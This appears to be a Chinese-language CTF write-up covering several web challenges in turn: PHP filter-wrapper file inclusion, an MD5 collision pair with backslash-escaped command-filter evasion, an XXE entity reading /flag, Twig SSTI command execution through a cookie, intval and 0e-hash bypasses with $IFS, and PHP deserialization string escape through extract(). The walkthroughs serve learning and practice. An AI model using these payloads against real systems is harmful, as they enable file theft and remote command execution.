点击按钮会出现对应的参数和图片,尝试直接读取文件
发现用伪协议读取直接读取index.php的时候有反应,从前面报错可以看出来它会自带.php,所以只需要输入index即可
?category=php://filter/read=convert.base64-encode/resource=index
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){ //必须含有woofers或meowers或index字符串
include ($file . '.php'); //参数后拼接.php
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
必须含有woofers、meowers、index,我们伪协议读取中间是可以加参数的,所以直接读取flag
?category=php://filter/read=convert.base64-encode/index/resource=flag
发现img后面是一个base64,解密得到MzUzNTM1MmU3MDZlNjc=还是一个base64的加密,再解密:3535352e706e6716进制,解密:555.png,本来想着img一个远程的马然后cmd执行,发现没有反应,这里先将index加密过去读取源码
index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "";
echo "
";
}
echo $cmd;
echo "
";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "
";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
MD5强碰撞,然后就能执行cmd中的命令,直接查一对强碰撞
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
cmd的话,基本都被禁了,但是用一个\就能全部绕过
l\s /
ca\t /flag
得放到burp来进行执行,hackbar会自己进行一次编码,发现flag的位置,用ca\t直接拿flag
题目就提示到XML,这里也就想到XML注入,抓包,构造XML
xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>123456</password></user>
在flag页面随意输入发现
sql注入没有反应,尝试ssti注入,{{3*3}}
发现成功执行,但是执行命令时失败,这里抓包在cookie处注入
user={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
没有什么思路,查看robots.txt发现了/fAke_f1agggg.php
的确是一个假的flag,又提示了一个/fl4g.php
<img src="/img.jpg">
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
三层绕过,level1用科学计数法绕过,level2直接百度一个0e开头md5也是0e的即可:0e215962017
前两层完了就到了getflag这层了,先ls找一下flag的位置
cat被禁了就用tac,绕过空格用$IFS$9、${IFS}
fl4g.php?num=2019e10&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
点开源代码如下
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo 'source_code';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
首先先让$function == 'phpinfo'
,查看这里面给了什么提示,这里有extract($_POST);
所以我直接在POST里这样输入也能拿到phpinfo,
发现了一个d0g3_f1ag.php。
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
这里审代码可以知道只要base64_decode($userinfo[‘img’])=d0g3_f1ag.php
就能get到提示的php文件,那么就是要让$userinfo[‘img’]=ZDBnM19mMWFnLnBocA==
即可,而$userinfo[‘img’]
是反序列化$serialize_info
来的
$userinfo = unserialize($serialize_info);,
继续往前找,这里$serialize_info
是$_SESSION
先被序列话再filter过滤后得到的
$serialize_info = filter(serialize($_SESSION));
再看$_SESSION
,他被定义后由$_GET['img_path']
传入的参数决定,但是这里有一个extract($_POST);
,如果我们通过POST的方法给_SESSIO
传入参数,那么就会造成变量覆盖,所以我们我们放弃$_GET['img_path']
这里的传参
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo 'source_code';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
其实这里序列化后filter替换为空应该就能想到php反序列化字符逃逸,原理很简单,在反序列化的过程中必须严格按照序列化规则才能成功实现反序列化,比如说反序列化{[][]}()}
时,它只用而且只会识别{[][]}
,但是如果中间的[]}
被过滤掉,那么后面的()}
就会补上来,虽然()}
是恶意构造的,但是仍然会执行,回到本题,如果我们构造
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
当这串字符串经过过滤函数之后,会变成:
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
为什么这里是flagflagflagflagflagflag呢?其实完全是为了给后面恶意构造的参数留位置,因为后面有24个字符需要补上来,所以前面需要24个被过滤的字符,这里还需要注意一点,为什么加了三个参数,因为被吃了一个,但一开始就有三个参数,由于数量不能变,所以我们自己加一个。所以payload
POST:function=show_image&_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}
查看源代码又提示
$flag = 'flag in /d0g3_fllllllag';
?>
同样的方法,因为base64(d0g3_fllllllag)后刚好也是24位,所以直接改上去
function=show_image&_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"dd";s:1:"a";}